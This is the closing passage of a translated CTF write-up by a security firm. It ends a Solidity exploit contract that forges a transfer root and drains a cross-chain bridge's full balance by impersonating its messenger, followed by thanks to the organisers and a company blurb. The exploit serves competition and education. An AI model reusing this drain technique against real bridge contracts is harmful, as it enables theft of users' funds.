            1337,
            address(bridge).balance
        );

        // 伪装一个转账根哈希
        bytes32 rootHash = keccak256(
            abi.encode(
                1, // 目标链ID
                address(this), // 收款人
                address(bridge).balance, // 金额
                bytes32(uint256(1)), // transferNonce
                0, // bonderFee
                0, // amountOutMin
                0 // 截止日期
            )
        );

        bridge.confirmTransferRoot(
            1337, // originChainId
            rootHash, // rootHash
            1, // 目标链ID
            address(bridge).balance, // 总金额
            1 // rootCommittedAt
        );

        bytes32[] memory siblings = new bytes32[](0);

        // 提取所有内容,所有参数应与上述 rootHash 计算匹配。
        // 设置 totalLeaves 为 1 和 siblings 为一个空数组,这会使
        // rootHash 匹配 withdraw() 中计算的 rootHash
        bridge.withdraw(
            address(this), // 收款人
            address(bridge).balance, // 金额
            bytes32(uint256(1)), // transferNonce
            0, // bonderFee
            0, // amountOutMin
            0, // 截止日期
            rootHash, // rootHash
            address(bridge).balance, // transferRootTotalAmount
            0, // transferIdTreeIndex
            siblings, // siblings
            1 // totalLeaves
        );
    }

    // 这些函数是必需的,因为我们的合约成为了
    // crossDomainMessenger,因此必须处理这些调用
    function sendCrossDomainMessage(bytes memory) external {}

    function verifySender(address, bytes memory) external {}

    receive() external payable {}
}

结论

我很高兴参加今年的 Paradigm CTF。非常感谢挑战的作者 — 设计如此有创意和有趣的挑战需要付出很多努力。

同时也要向 samczsun 致以特别的感谢,他单独支持了 CTF 基础设施 — 这可能是比赛中最难的挑战!

关于我们

Zellic 专注于保护新兴技术。我们的安全研究人员在从财富 500 强到 DeFi 巨头中发现了漏洞。

开发者、创始人和投资者信任我们的安全评估,以快速、自信地交付,而不会出现重大漏洞。凭借我们在现实世界中的进攻性安全研究背景,我们找到了其他人所忽视的东西。

联系我们↗ 进行一次比其他审计更好的审计。真实的审计,而不是橡皮图章。

  • 原文链接: zellic.io/blog/paradigmc...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
zellic
zellic
Security reviews and research that keep winners winning. https://www.zellic.io/